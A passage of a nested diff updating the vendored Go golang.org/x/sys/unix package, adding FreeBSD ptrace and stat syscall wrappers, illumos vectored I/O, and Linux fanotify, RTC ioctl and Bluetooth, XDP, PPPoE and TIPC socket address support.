-+func PtracePeekText(pid int, addr uintptr, out []byte) (count int, err error) {
-+ return PtraceIO(PIOD_READ_I, pid, addr, out, SizeofLong)
- }
-
--func IoctlSetTermios(fd int, req uint, value *Termios) error {
-- return ioctl(fd, req, uintptr(unsafe.Pointer(value)))
-+func PtracePokeData(pid int, addr uintptr, data []byte) (count int, err error) {
-+ return PtraceIO(PIOD_WRITE_D, pid, addr, data, SizeofLong)
- }
-
--// IoctlGetInt performs an ioctl operation which gets an integer value
--// from fd, using the specified request number.
--func IoctlGetInt(fd int, req uint) (int, error) {
-- var value int
-- err := ioctl(fd, req, uintptr(unsafe.Pointer(&value)))
-- return value, err
-+func PtracePokeText(pid int, addr uintptr, data []byte) (count int, err error) {
-+ return PtraceIO(PIOD_WRITE_I, pid, addr, data, SizeofLong)
- }
-
--func IoctlGetWinsize(fd int, req uint) (*Winsize, error) {
-- var value Winsize
-- err := ioctl(fd, req, uintptr(unsafe.Pointer(&value)))
-- return &value, err
-+func PtraceSetRegs(pid int, regs *Reg) (err error) {
-+ return ptrace(PTRACE_SETREGS, pid, uintptr(unsafe.Pointer(regs)), 0)
- }
-
--func IoctlGetTermios(fd int, req uint) (*Termios, error) {
-- var value Termios
-- err := ioctl(fd, req, uintptr(unsafe.Pointer(&value)))
-- return &value, err
-+func PtraceSingleStep(pid int) (err error) {
-+ return ptrace(PTRACE_SINGLESTEP, pid, 1, 0)
- }
-
- /*
-@@ -430,11 +596,16 @@ func IoctlGetTermios(fd int, req uint) (*Termios, error) {
- //sys Fchownat(dirfd int, path string, uid int, gid int, flags int) (err error)
- //sys Flock(fd int, how int) (err error)
- //sys Fpathconf(fd int, name int) (val int, err error)
--//sys Fstat(fd int, stat *Stat_t) (err error)
--//sys Fstatfs(fd int, stat *Statfs_t) (err error)
-+//sys fstat(fd int, stat *stat_freebsd11_t) (err error)
-+//sys fstat_freebsd12(fd int, stat *Stat_t) (err error)
-+//sys fstatat(fd int, path string, stat *stat_freebsd11_t, flags int) (err error)
-+//sys fstatat_freebsd12(fd int, path string, stat *Stat_t, flags int) (err error)
-+//sys fstatfs(fd int, stat *statfs_freebsd11_t) (err error)
-+//sys fstatfs_freebsd12(fd int, stat *Statfs_t) (err error)
- //sys Fsync(fd int) (err error)
- //sys Ftruncate(fd int, length int64) (err error)
--//sys Getdirentries(fd int, buf []byte, basep *uintptr) (n int, err error)
-+//sys getdirentries(fd int, buf []byte, basep *uintptr) (n int, err error)
-+//sys getdirentries_freebsd12(fd int, buf []byte, basep *uint64) (n int, err error)
- //sys Getdtablesize() (size int)
- //sysnb Getegid() (egid int)
- //sysnb Geteuid() (uid int)
-@@ -456,11 +627,13 @@ func IoctlGetTermios(fd int, req uint) (*Termios, error) {
- //sys Link(path string, link string) (err error)
- //sys Linkat(pathfd int, path string, linkfd int, link string, flags int) (err error)
- //sys Listen(s int, backlog int) (err error)
--//sys Lstat(path string, stat *Stat_t) (err error)
-+//sys lstat(path string, stat *stat_freebsd11_t) (err error)
- //sys Mkdir(path string, mode uint32) (err error)
- //sys Mkdirat(dirfd int, path string, mode uint32) (err error)
- //sys Mkfifo(path string, mode uint32) (err error)
--//sys Mknod(path string, mode uint32, dev int) (err error)
-+//sys mknod(path string, mode uint32, dev int) (err error)
-+//sys mknodat(fd int, path string, mode uint32, dev int) (err error)
-+//sys mknodat_freebsd12(fd int, path string, mode uint32, dev uint64) (err error)
- //sys Nanosleep(time *Timespec, leftover *Timespec) (err error)
- //sys Open(path string, mode int, perm uint32) (fd int, err error)
- //sys Openat(fdat int, path string, mode int, perm uint32) (fd int, err error)
-@@ -475,7 +648,7 @@ func IoctlGetTermios(fd int, req uint) (*Termios, error) {
- //sys Revoke(path string) (err error)
- //sys Rmdir(path string) (err error)
- //sys Seek(fd int, offset int64, whence int) (newoffset int64, err error) = SYS_LSEEK
--//sys Select(n int, r *FdSet, w *FdSet, e *FdSet, timeout *Timeval) (err error)
-+//sys Select(nfd int, r *FdSet, w *FdSet, e *FdSet, timeout *Timeval) (n int, err error)
- //sysnb Setegid(egid int) (err error)
- //sysnb Seteuid(euid int) (err error)
- //sysnb Setgid(gid int) (err error)
-@@ -490,8 +663,9 @@ func IoctlGetTermios(fd int, req uint) (*Termios, error) {
- //sysnb Setsid() (pid int, err error)
- //sysnb Settimeofday(tp *Timeval) (err error)
- //sysnb Setuid(uid int) (err error)
--//sys Stat(path string, stat *Stat_t) (err error)
--//sys Statfs(path string, stat *Statfs_t) (err error)
-+//sys stat(path string, stat *stat_freebsd11_t) (err error)
-+//sys statfs(path string, stat *statfs_freebsd11_t) (err error)
-+//sys statfs_freebsd12(path string, stat *Statfs_t) (err error)
- //sys Symlink(path string, link string) (err error)
- //sys Symlinkat(oldpath string, newdirfd int, newpath string) (err error)
- //sys Sync() (err error)
-@@ -546,22 +720,14 @@ func IoctlGetTermios(fd int, req uint) (*Termios, error) {
- // Kqueue_portset
- // Getattrlist
- // Setattrlist
-+// Getdents
- // Getdirentriesattr
- // Searchfs
- // Delete
- // Copyfile
--// Poll
- // Watchevent
- // Waitevent
- // Modwatch
--// Getxattr
--// Fgetxattr
--// Setxattr
--// Fsetxattr
--// Removexattr
--// Fremovexattr
--// Listxattr
--// Flistxattr
- // Fsctl
- // Initgroups
- // Posix_spawn
-diff --git a/vendor/golang.org/x/sys/unix/syscall_freebsd_386.go b/vendor/golang.org/x/sys/unix/syscall_freebsd_386.go
-index 6a0cd804..72a506dd 100644
---- a/vendor/golang.org/x/sys/unix/syscall_freebsd_386.go
-+++ b/vendor/golang.org/x/sys/unix/syscall_freebsd_386.go
-@@ -11,21 +11,12 @@ import (
- "unsafe"
- )
-
--func Getpagesize() int { return 4096 }
--
--func TimespecToNsec(ts Timespec) int64 { return int64(ts.Sec)*1e9 + int64(ts.Nsec) }
--
--func NsecToTimespec(nsec int64) (ts Timespec) {
-- ts.Sec = int32(nsec / 1e9)
-- ts.Nsec = int32(nsec % 1e9)
-- return
-+func setTimespec(sec, nsec int64) Timespec {
-+ return Timespec{Sec: int32(sec), Nsec: int32(nsec)}
- }
-
--func NsecToTimeval(nsec int64) (tv Timeval) {
-- nsec += 999 // round up to microsecond
-- tv.Usec = int32(nsec % 1e9 / 1e3)
-- tv.Sec = int32(nsec / 1e9)
-- return
-+func setTimeval(sec, usec int64) Timeval {
-+ return Timeval{Sec: int32(sec), Usec: int32(usec)}
- }
-
- func SetKevent(k *Kevent_t, fd, mode, flags int) {
-@@ -42,6 +33,10 @@ func (msghdr *Msghdr) SetControllen(length int) {
- msghdr.Controllen = uint32(length)
- }
-
-+func (msghdr *Msghdr) SetIovlen(length int) {
-+ msghdr.Iovlen = int32(length)
-+}
-+
- func (cmsg *Cmsghdr) SetLen(length int) {
- cmsg.Len = uint32(length)
- }
-@@ -59,3 +54,13 @@ func sendfile(outfd int, infd int, offset *int64, count int) (written int, err e
- }
-
- func Syscall9(num, a1, a2, a3, a4, a5, a6, a7, a8, a9 uintptr) (r1, r2 uintptr, err syscall.Errno)
-+
-+func PtraceGetFsBase(pid int, fsbase *int64) (err error) {
-+ return ptrace(PTRACE_GETFSBASE, pid, uintptr(unsafe.Pointer(fsbase)), 0)
-+}
-+
-+func PtraceIO(req int, pid int, addr uintptr, out []byte, countin int) (count int, err error) {
-+ ioDesc := PtraceIoDesc{Op: int32(req), Offs: (*byte)(unsafe.Pointer(addr)), Addr: (*byte)(unsafe.Pointer(&out[0])), Len: uint32(countin)}
-+ err = ptrace(PTRACE_IO, pid, uintptr(unsafe.Pointer(&ioDesc)), 0)
-+ return int(ioDesc.Len), err
-+}
-diff --git a/vendor/golang.org/x/sys/unix/syscall_freebsd_amd64.go b/vendor/golang.org/x/sys/unix/syscall_freebsd_amd64.go
-index e142540e..d5e376ac 100644
---- a/vendor/golang.org/x/sys/unix/syscall_freebsd_amd64.go
-+++ b/vendor/golang.org/x/sys/unix/syscall_freebsd_amd64.go
-@@ -11,21 +11,12 @@ import (
- "unsafe"
- )
-
--func Getpagesize() int { return 4096 }
--
--func TimespecToNsec(ts Timespec) int64 { return int64(ts.Sec)*1e9 + int64(ts.Nsec) }
--
--func NsecToTimespec(nsec int64) (ts Timespec) {
-- ts.Sec = nsec / 1e9
-- ts.Nsec = nsec % 1e9
-- return
-+func setTimespec(sec, nsec int64) Timespec {
-+ return Timespec{Sec: sec, Nsec: nsec}
- }
-
--func NsecToTimeval(nsec int64) (tv Timeval) {
-- nsec += 999 // round up to microsecond
-- tv.Usec = nsec % 1e9 / 1e3
-- tv.Sec = int64(nsec / 1e9)
-- return
-+func setTimeval(sec, usec int64) Timeval {
-+ return Timeval{Sec: sec, Usec: usec}
- }
-
- func SetKevent(k *Kevent_t, fd, mode, flags int) {
-@@ -42,6 +33,10 @@ func (msghdr *Msghdr) SetControllen(length int) {
- msghdr.Controllen = uint32(length)
- }
-
-+func (msghdr *Msghdr) SetIovlen(length int) {
-+ msghdr.Iovlen = int32(length)
-+}
-+
- func (cmsg *Cmsghdr) SetLen(length int) {
- cmsg.Len = uint32(length)
- }
-@@ -59,3 +54,13 @@ func sendfile(outfd int, infd int, offset *int64, count int) (written int, err e
- }
-
- func Syscall9(num, a1, a2, a3, a4, a5, a6, a7, a8, a9 uintptr) (r1, r2 uintptr, err syscall.Errno)
-+
-+func PtraceGetFsBase(pid int, fsbase *int64) (err error) {
-+ return ptrace(PTRACE_GETFSBASE, pid, uintptr(unsafe.Pointer(fsbase)), 0)
-+}
-+
-+func PtraceIO(req int, pid int, addr uintptr, out []byte, countin int) (count int, err error) {
-+ ioDesc := PtraceIoDesc{Op: int32(req), Offs: (*byte)(unsafe.Pointer(addr)), Addr: (*byte)(unsafe.Pointer(&out[0])), Len: uint64(countin)}
-+ err = ptrace(PTRACE_IO, pid, uintptr(unsafe.Pointer(&ioDesc)), 0)
-+ return int(ioDesc.Len), err
-+}
-diff --git a/vendor/golang.org/x/sys/unix/syscall_freebsd_arm.go b/vendor/golang.org/x/sys/unix/syscall_freebsd_arm.go
-index 5504cb12..4ea45bce 100644
---- a/vendor/golang.org/x/sys/unix/syscall_freebsd_arm.go
-+++ b/vendor/golang.org/x/sys/unix/syscall_freebsd_arm.go
-@@ -11,21 +11,12 @@ import (
- "unsafe"
- )
-
--func Getpagesize() int { return 4096 }
--
--func TimespecToNsec(ts Timespec) int64 { return ts.Sec*1e9 + int64(ts.Nsec) }
--
--func NsecToTimespec(nsec int64) (ts Timespec) {
-- ts.Sec = nsec / 1e9
-- ts.Nsec = int32(nsec % 1e9)
-- return
-+func setTimespec(sec, nsec int64) Timespec {
-+ return Timespec{Sec: sec, Nsec: int32(nsec)}
- }
-
--func NsecToTimeval(nsec int64) (tv Timeval) {
-- nsec += 999 // round up to microsecond
-- tv.Usec = int32(nsec % 1e9 / 1e3)
-- tv.Sec = nsec / 1e9
-- return
-+func setTimeval(sec, usec int64) Timeval {
-+ return Timeval{Sec: sec, Usec: int32(usec)}
- }
-
- func SetKevent(k *Kevent_t, fd, mode, flags int) {
-@@ -42,6 +33,10 @@ func (msghdr *Msghdr) SetControllen(length int) {
- msghdr.Controllen = uint32(length)
- }
-
-+func (msghdr *Msghdr) SetIovlen(length int) {
-+ msghdr.Iovlen = int32(length)
-+}
-+
- func (cmsg *Cmsghdr) SetLen(length int) {
- cmsg.Len = uint32(length)
- }
-@@ -59,3 +54,9 @@ func sendfile(outfd int, infd int, offset *int64, count int) (written int, err e
- }
-
- func Syscall9(num, a1, a2, a3, a4, a5, a6, a7, a8, a9 uintptr) (r1, r2 uintptr, err syscall.Errno)
-+
-+func PtraceIO(req int, pid int, addr uintptr, out []byte, countin int) (count int, err error) {
-+ ioDesc := PtraceIoDesc{Op: int32(req), Offs: (*byte)(unsafe.Pointer(addr)), Addr: (*byte)(unsafe.Pointer(&out[0])), Len: uint32(countin)}
-+ err = ptrace(PTRACE_IO, pid, uintptr(unsafe.Pointer(&ioDesc)), 0)
-+ return int(ioDesc.Len), err
-+}
-diff --git a/vendor/golang.org/x/sys/unix/syscall_dragonfly_amd64.go b/vendor/golang.org/x/sys/unix/syscall_freebsd_arm64.go
-similarity index 59%
-copy from vendor/golang.org/x/sys/unix/syscall_dragonfly_amd64.go
-copy to vendor/golang.org/x/sys/unix/syscall_freebsd_arm64.go
-index da7cb798..aa5326db 100644
---- a/vendor/golang.org/x/sys/unix/syscall_dragonfly_amd64.go
-+++ b/vendor/golang.org/x/sys/unix/syscall_freebsd_arm64.go
-@@ -1,8 +1,8 @@
--// Copyright 2009 The Go Authors. All rights reserved.
-+// Copyright 2018 The Go Authors. All rights reserved.
- // Use of this source code is governed by a BSD-style
- // license that can be found in the LICENSE file.
-
--// +build amd64,dragonfly
-+// +build arm64,freebsd
-
- package unix
-
-@@ -11,21 +11,12 @@ import (
- "unsafe"
- )
-
--func Getpagesize() int { return 4096 }
--
--func TimespecToNsec(ts Timespec) int64 { return int64(ts.Sec)*1e9 + int64(ts.Nsec) }
--
--func NsecToTimespec(nsec int64) (ts Timespec) {
-- ts.Sec = nsec / 1e9
-- ts.Nsec = nsec % 1e9
-- return
-+func setTimespec(sec, nsec int64) Timespec {
-+ return Timespec{Sec: sec, Nsec: nsec}
- }
-
--func NsecToTimeval(nsec int64) (tv Timeval) {
-- nsec += 999 // round up to microsecond
-- tv.Usec = nsec % 1e9 / 1e3
-- tv.Sec = int64(nsec / 1e9)
-- return
-+func setTimeval(sec, usec int64) Timeval {
-+ return Timeval{Sec: sec, Usec: usec}
- }
-
- func SetKevent(k *Kevent_t, fd, mode, flags int) {
-@@ -42,6 +33,10 @@ func (msghdr *Msghdr) SetControllen(length int) {
- msghdr.Controllen = uint32(length)
- }
-
-+func (msghdr *Msghdr) SetIovlen(length int) {
-+ msghdr.Iovlen = int32(length)
-+}
-+
- func (cmsg *Cmsghdr) SetLen(length int) {
- cmsg.Len = uint32(length)
- }
-@@ -59,3 +54,9 @@ func sendfile(outfd int, infd int, offset *int64, count int) (written int, err e
- }
-
- func Syscall9(num, a1, a2, a3, a4, a5, a6, a7, a8, a9 uintptr) (r1, r2 uintptr, err syscall.Errno)
-+
-+func PtraceIO(req int, pid int, addr uintptr, out []byte, countin int) (count int, err error) {
-+ ioDesc := PtraceIoDesc{Op: int32(req), Offs: (*byte)(unsafe.Pointer(addr)), Addr: (*byte)(unsafe.Pointer(&out[0])), Len: uint64(countin)}
-+ err = ptrace(PTRACE_IO, pid, uintptr(unsafe.Pointer(&ioDesc)), 0)
-+ return int(ioDesc.Len), err
-+}
-diff --git a/vendor/golang.org/x/sys/unix/syscall_illumos.go b/vendor/golang.org/x/sys/unix/syscall_illumos.go
-new file mode 100644
-index 00000000..99e62dcd
---- /dev/null
-+++ b/vendor/golang.org/x/sys/unix/syscall_illumos.go
-@@ -0,0 +1,57 @@
-+// Copyright 2009 The Go Authors. All rights reserved.
-+// Use of this source code is governed by a BSD-style
-+// license that can be found in the LICENSE file.
-+
-+// illumos system calls not present on Solaris.
-+
-+// +build amd64,illumos
-+
-+package unix
-+
-+import "unsafe"
-+
-+func bytes2iovec(bs [][]byte) []Iovec {
-+ iovecs := make([]Iovec, len(bs))
-+ for i, b := range bs {
-+ iovecs[i].SetLen(len(b))
-+ if len(b) > 0 {
-+ // somehow Iovec.Base on illumos is (*int8), not (*byte)
-+ iovecs[i].Base = (*int8)(unsafe.Pointer(&b[0]))
-+ } else {
-+ iovecs[i].Base = (*int8)(unsafe.Pointer(&_zero))
-+ }
-+ }
-+ return iovecs
-+}
-+
-+//sys readv(fd int, iovs []Iovec) (n int, err error)
-+
-+func Readv(fd int, iovs [][]byte) (n int, err error) {
-+ iovecs := bytes2iovec(iovs)
-+ n, err = readv(fd, iovecs)
-+ return n, err
-+}
-+
-+//sys preadv(fd int, iovs []Iovec, off int64) (n int, err error)
-+
-+func Preadv(fd int, iovs [][]byte, off int64) (n int, err error) {
-+ iovecs := bytes2iovec(iovs)
-+ n, err = preadv(fd, iovecs, off)
-+ return n, err
-+}
-+
-+//sys writev(fd int, iovs []Iovec) (n int, err error)
-+
-+func Writev(fd int, iovs [][]byte) (n int, err error) {
-+ iovecs := bytes2iovec(iovs)
-+ n, err = writev(fd, iovecs)
-+ return n, err
-+}
-+
-+//sys pwritev(fd int, iovs []Iovec, off int64) (n int, err error)
-+
-+func Pwritev(fd int, iovs [][]byte, off int64) (n int, err error) {
-+ iovecs := bytes2iovec(iovs)
-+ n, err = pwritev(fd, iovecs, off)
-+ return n, err
-+}
-diff --git a/vendor/golang.org/x/sys/unix/syscall_linux.go b/vendor/golang.org/x/sys/unix/syscall_linux.go
-index 1b7d59d8..bbe1abbc 100644
---- a/vendor/golang.org/x/sys/unix/syscall_linux.go
-+++ b/vendor/golang.org/x/sys/unix/syscall_linux.go
-@@ -12,6 +12,8 @@
- package unix
-
- import (
-+ "encoding/binary"
-+ "runtime"
- "syscall"
- "unsafe"
- )
-@@ -36,6 +38,20 @@ func Creat(path string, mode uint32) (fd int, err error) {
- return Open(path, O_CREAT|O_WRONLY|O_TRUNC, mode)
- }
-
-+//sys FanotifyInit(flags uint, event_f_flags uint) (fd int, err error)
-+//sys fanotifyMark(fd int, flags uint, mask uint64, dirFd int, pathname *byte) (err error)
-+
-+func FanotifyMark(fd int, flags uint, mask uint64, dirFd int, pathname string) (err error) {
-+ if pathname == "" {
-+ return fanotifyMark(fd, flags, mask, dirFd, nil)
-+ }
-+ p, err := BytePtrFromString(pathname)
-+ if err != nil {
-+ return err
-+ }
-+ return fanotifyMark(fd, flags, mask, dirFd, p)
-+}
-+
- //sys fchmodat(dirfd int, path string, mode uint32) (err error)
-
- func Fchmodat(dirfd int, path string, mode uint32, flags int) (err error) {
-@@ -55,37 +71,41 @@ func Fchmodat(dirfd int, path string, mode uint32, flags int) (err error) {
- // ioctl itself should not be exposed directly, but additional get/set
- // functions for specific types are permissible.
-
--// IoctlSetInt performs an ioctl operation which sets an integer value
--// on fd, using the specified request number.
--func IoctlSetInt(fd int, req uint, value int) error {
-- return ioctl(fd, req, uintptr(value))
-+// IoctlRetInt performs an ioctl operation specified by req on a device
-+// associated with opened file descriptor fd, and returns a non-negative
-+// integer that is returned by the ioctl syscall.
-+func IoctlRetInt(fd int, req uint) (int, error) {
-+ ret, _, err := Syscall(SYS_IOCTL, uintptr(fd), uintptr(req), 0)
-+ if err != 0 {
-+ return 0, err
-+ }
-+ return int(ret), nil
- }
-
--func IoctlSetWinsize(fd int, req uint, value *Winsize) error {
-- return ioctl(fd, req, uintptr(unsafe.Pointer(value)))
-+// IoctlSetPointerInt performs an ioctl operation which sets an
-+// integer value on fd, using the specified request number. The ioctl
-+// argument is called with a pointer to the integer value, rather than
-+// passing the integer value directly.
-+func IoctlSetPointerInt(fd int, req uint, value int) error {
-+ v := int32(value)
-+ return ioctl(fd, req, uintptr(unsafe.Pointer(&v)))
- }
-
--func IoctlSetTermios(fd int, req uint, value *Termios) error {
-- return ioctl(fd, req, uintptr(unsafe.Pointer(value)))
-+func IoctlSetRTCTime(fd int, value *RTCTime) error {
-+ err := ioctl(fd, RTC_SET_TIME, uintptr(unsafe.Pointer(value)))
-+ runtime.KeepAlive(value)
-+ return err
- }
-
--// IoctlGetInt performs an ioctl operation which gets an integer value
--// from fd, using the specified request number.
--func IoctlGetInt(fd int, req uint) (int, error) {
-- var value int
-+func IoctlGetUint32(fd int, req uint) (uint32, error) {
-+ var value uint32
- err := ioctl(fd, req, uintptr(unsafe.Pointer(&value)))
- return value, err
- }
-
--func IoctlGetWinsize(fd int, req uint) (*Winsize, error) {
-- var value Winsize
-- err := ioctl(fd, req, uintptr(unsafe.Pointer(&value)))
-- return &value, err
--}
--
--func IoctlGetTermios(fd int, req uint) (*Termios, error) {
-- var value Termios
-- err := ioctl(fd, req, uintptr(unsafe.Pointer(&value)))
-+func IoctlGetRTCTime(fd int) (*RTCTime, error) {
-+ var value RTCTime
-+ err := ioctl(fd, RTC_RD_TIME, uintptr(unsafe.Pointer(&value)))
- return &value, err
- }
-
-@@ -148,8 +168,6 @@ func Unlink(path string) error {
-
- //sys Unlinkat(dirfd int, path string, flags int) (err error)
-
--//sys utimes(path string, times *[2]Timeval) (err error)
--
- func Utimes(path string, tv []Timeval) error {
- if tv == nil {
- err := utimensat(AT_FDCWD, path, nil, 0)
-@@ -207,20 +225,14 @@ func UtimesNanoAt(dirfd int, path string, ts []Timespec, flags int) error {
- return utimensat(dirfd, path, (*[2]Timespec)(unsafe.Pointer(&ts[0])), flags)
- }
-
--//sys futimesat(dirfd int, path *byte, times *[2]Timeval) (err error)
--
- func Futimesat(dirfd int, path string, tv []Timeval) error {
-- pathp, err := BytePtrFromString(path)
-- if err != nil {
-- return err
-- }
- if tv == nil {
-- return futimesat(dirfd, pathp, nil)
-+ return futimesat(dirfd, path, nil)
- }
- if len(tv) != 2 {
- return EINVAL
- }
-- return futimesat(dirfd, pathp, (*[2]Timeval)(unsafe.Pointer(&tv[0])))
-+ return futimesat(dirfd, path, (*[2]Timeval)(unsafe.Pointer(&tv[0])))
- }
-
- func Futimes(fd int, tv []Timeval) (err error) {
-@@ -255,7 +267,7 @@ func Getgroups() (gids []int, err error) {
- return nil, nil
- }
-
-- // Sanity check group count. Max is 1<<16 on Linux.
-+ // Sanity check group count. Max is 1<<16 on Linux.
- if n < 0 || n > 1<<20 {
- return nil, EINVAL
- }
-@@ -290,8 +302,8 @@ type WaitStatus uint32
- // 0x7F (stopped), or a signal number that caused an exit.
- // The 0x80 bit is whether there was a core dump.
- // An extra number (exit code, signal causing a stop)
--// is in the high bits. At least that's the idea.
--// There are various irregularities. For example, the
-+// is in the high bits. At least that's the idea.
-+// There are various irregularities. For example, the
- // "continued" status is 0xFFFF, distinguishing itself
- // from stopped via the core dump bit.
-
-@@ -413,6 +425,7 @@ func (sa *SockaddrUnix) sockaddr() (unsafe.Pointer, _Socklen, error) {
- return unsafe.Pointer(&sa.raw), sl, nil
- }
-
-+// SockaddrLinklayer implements the Sockaddr interface for AF_PACKET type sockets.
- type SockaddrLinklayer struct {
- Protocol uint16
- Ifindex int
-@@ -439,6 +452,7 @@ func (sa *SockaddrLinklayer) sockaddr() (unsafe.Pointer, _Socklen, error) {
- return unsafe.Pointer(&sa.raw), SizeofSockaddrLinklayer, nil
- }
-
-+// SockaddrNetlink implements the Sockaddr interface for AF_NETLINK type sockets.
- type SockaddrNetlink struct {
- Family uint16
- Pad uint16
-@@ -455,6 +469,8 @@ func (sa *SockaddrNetlink) sockaddr() (unsafe.Pointer, _Socklen, error) {
- return unsafe.Pointer(&sa.raw), SizeofSockaddrNetlink, nil
- }
-
-+// SockaddrHCI implements the Sockaddr interface for AF_BLUETOOTH type sockets
-+// using the HCI protocol.
- type SockaddrHCI struct {
- Dev uint16
- Channel uint16
-@@ -468,6 +484,72 @@ func (sa *SockaddrHCI) sockaddr() (unsafe.Pointer, _Socklen, error) {
- return unsafe.Pointer(&sa.raw), SizeofSockaddrHCI, nil
- }
-
-+// SockaddrL2 implements the Sockaddr interface for AF_BLUETOOTH type sockets
-+// using the L2CAP protocol.
-+type SockaddrL2 struct {
-+ PSM uint16
-+ CID uint16
-+ Addr [6]uint8
-+ AddrType uint8
-+ raw RawSockaddrL2
-+}
-+
-+func (sa *SockaddrL2) sockaddr() (unsafe.Pointer, _Socklen, error) {
-+ sa.raw.Family = AF_BLUETOOTH
-+ psm := (*[2]byte)(unsafe.Pointer(&sa.raw.Psm))
-+ psm[0] = byte(sa.PSM)
-+ psm[1] = byte(sa.PSM >> 8)
-+ for i := 0; i < len(sa.Addr); i++ {
-+ sa.raw.Bdaddr[i] = sa.Addr[len(sa.Addr)-1-i]
-+ }
-+ cid := (*[2]byte)(unsafe.Pointer(&sa.raw.Cid))
-+ cid[0] = byte(sa.CID)
-+ cid[1] = byte(sa.CID >> 8)
-+ sa.raw.Bdaddr_type = sa.AddrType
-+ return unsafe.Pointer(&sa.raw), SizeofSockaddrL2, nil
-+}
-+
-+// SockaddrRFCOMM implements the Sockaddr interface for AF_BLUETOOTH type sockets
-+// using the RFCOMM protocol.
-+//
-+// Server example:
-+//
-+// fd, _ := Socket(AF_BLUETOOTH, SOCK_STREAM, BTPROTO_RFCOMM)
-+// _ = unix.Bind(fd, &unix.SockaddrRFCOMM{
-+// Channel: 1,
-+// Addr: [6]uint8{0, 0, 0, 0, 0, 0}, // BDADDR_ANY or 00:00:00:00:00:00
-+// })
-+// _ = Listen(fd, 1)
-+// nfd, sa, _ := Accept(fd)
-+// fmt.Printf("conn addr=%v fd=%d", sa.(*unix.SockaddrRFCOMM).Addr, nfd)
-+// Read(nfd, buf)
-+//
-+// Client example:
-+//
-+// fd, _ := Socket(AF_BLUETOOTH, SOCK_STREAM, BTPROTO_RFCOMM)
-+// _ = Connect(fd, &SockaddrRFCOMM{
-+// Channel: 1,
-+// Addr: [6]byte{0x11, 0x22, 0x33, 0xaa, 0xbb, 0xcc}, // CC:BB:AA:33:22:11
-+// })
-+// Write(fd, []byte(`hello`))
-+type SockaddrRFCOMM struct {
-+ // Addr represents a bluetooth address, byte ordering is little-endian.
-+ Addr [6]uint8
-+
-+ // Channel is a designated bluetooth channel, only 1-30 are available for use.
-+ // Since Linux 2.6.7 and further zero value is the first available channel.
-+ Channel uint8
-+
-+ raw RawSockaddrRFCOMM
-+}
-+
-+func (sa *SockaddrRFCOMM) sockaddr() (unsafe.Pointer, _Socklen, error) {
-+ sa.raw.Family = AF_BLUETOOTH
-+ sa.raw.Channel = sa.Channel
-+ sa.raw.Bdaddr = sa.Addr
-+ return unsafe.Pointer(&sa.raw), SizeofSockaddrRFCOMM, nil
-+}
-+
- // SockaddrCAN implements the Sockaddr interface for AF_CAN type sockets.
- // The RxID and TxID fields are used for transport protocol addressing in
- // (CAN_TP16, CAN_TP20, CAN_MCNET, and CAN_ISOTP), they can be left with
-@@ -630,7 +712,168 @@ func (sa *SockaddrVM) sockaddr() (unsafe.Pointer, _Socklen, error) {
- return unsafe.Pointer(&sa.raw), SizeofSockaddrVM, nil
- }
-
--func anyToSockaddr(rsa *RawSockaddrAny) (Sockaddr, error) {
-+type SockaddrXDP struct {
-+ Flags uint16
-+ Ifindex uint32
-+ QueueID uint32
-+ SharedUmemFD uint32
-+ raw RawSockaddrXDP
-+}
-+
-+func (sa *SockaddrXDP) sockaddr() (unsafe.Pointer, _Socklen, error) {
-+ sa.raw.Family = AF_XDP
-+ sa.raw.Flags = sa.Flags
-+ sa.raw.Ifindex = sa.Ifindex
-+ sa.raw.Queue_id = sa.QueueID
-+ sa.raw.Shared_umem_fd = sa.SharedUmemFD
-+
-+ return unsafe.Pointer(&sa.raw), SizeofSockaddrXDP, nil
-+}
-+
-+// This constant mirrors the #define of PX_PROTO_OE in
-+// linux/if_pppox.h. We're defining this by hand here instead of
-+// autogenerating through mkerrors.sh because including
-+// linux/if_pppox.h causes some declaration conflicts with other
-+// includes (linux/if_pppox.h includes linux/in.h, which conflicts
-+// with netinet/in.h). Given that we only need a single zero constant
-+// out of that file, it's cleaner to just define it by hand here.
-+const px_proto_oe = 0
-+
-+type SockaddrPPPoE struct {
-+ SID uint16
-+ Remote []byte
-+ Dev string
-+ raw RawSockaddrPPPoX
-+}
-+
-+func (sa *SockaddrPPPoE) sockaddr() (unsafe.Pointer, _Socklen, error) {
-+ if len(sa.Remote) != 6 {
-+ return nil, 0, EINVAL
-+ }
-+ if len(sa.Dev) > IFNAMSIZ-1 {
-+ return nil, 0, EINVAL
-+ }
-+
-+ *(*uint16)(unsafe.Pointer(&sa.raw[0])) = AF_PPPOX
-+ // This next field is in host-endian byte order. We can't use the
-+ // same unsafe pointer cast as above, because this value is not
-+ // 32-bit aligned and some architectures don't allow unaligned
-+ // access.
-+ //
-+ // However, the value of px_proto_oe is 0, so we can use
-+ // encoding/binary helpers to write the bytes without worrying
-+ // about the ordering.
-+ binary.BigEndian.PutUint32(sa.raw[2:6], px_proto_oe)
-+ // This field is deliberately big-endian, unlike the previous
-+ // one. The kernel expects SID to be in network byte order.
-+ binary.BigEndian.PutUint16(sa.raw[6:8], sa.SID)
-+ copy(sa.raw[8:14], sa.Remote)
-+ for i := 14; i < 14+IFNAMSIZ; i++ {
-+ sa.raw[i] = 0
-+ }
-+ copy(sa.raw[14:], sa.Dev)
-+ return unsafe.Pointer(&sa.raw), SizeofSockaddrPPPoX, nil
-+}
-+
-+// SockaddrTIPC implements the Sockaddr interface for AF_TIPC type sockets.
-+// For more information on TIPC, see: http://tipc.sourceforge.net/.
-+type SockaddrTIPC struct {
-+ // Scope is the publication scopes when binding service/service range.
-+ // Should be set to TIPC_CLUSTER_SCOPE or TIPC_NODE_SCOPE.
-+ Scope int
-+
-+ // Addr is the type of address used to manipulate a socket. Addr must be
-+ // one of:
-+ // - *TIPCSocketAddr: "id" variant in the C addr union
-+ // - *TIPCServiceRange: "nameseq" variant in the C addr union
-+ // - *TIPCServiceName: "name" variant in the C addr union
-+ //
-+ // If nil, EINVAL will be returned when the structure is used.
-+ Addr TIPCAddr
-+
-+ raw RawSockaddrTIPC
-+}
-+
-+// TIPCAddr is implemented by types that can be used as an address for
-+// SockaddrTIPC. It is only implemented by *TIPCSocketAddr, *TIPCServiceRange,
-+// and *TIPCServiceName.
-+type TIPCAddr interface {
-+ tipcAddrtype() uint8
-+ tipcAddr() [12]byte
-+}
-+
-+func (sa *TIPCSocketAddr) tipcAddr() [12]byte {
-+ var out [12]byte
-+ copy(out[:], (*(*[unsafe.Sizeof(TIPCSocketAddr{})]byte)(unsafe.Pointer(sa)))[:])
-+ return out
-+}
-+
-+func (sa *TIPCSocketAddr) tipcAddrtype() uint8 { return TIPC_SOCKET_ADDR }
-+
-+func (sa *TIPCServiceRange) tipcAddr() [12]byte {
-+ var out [12]byte
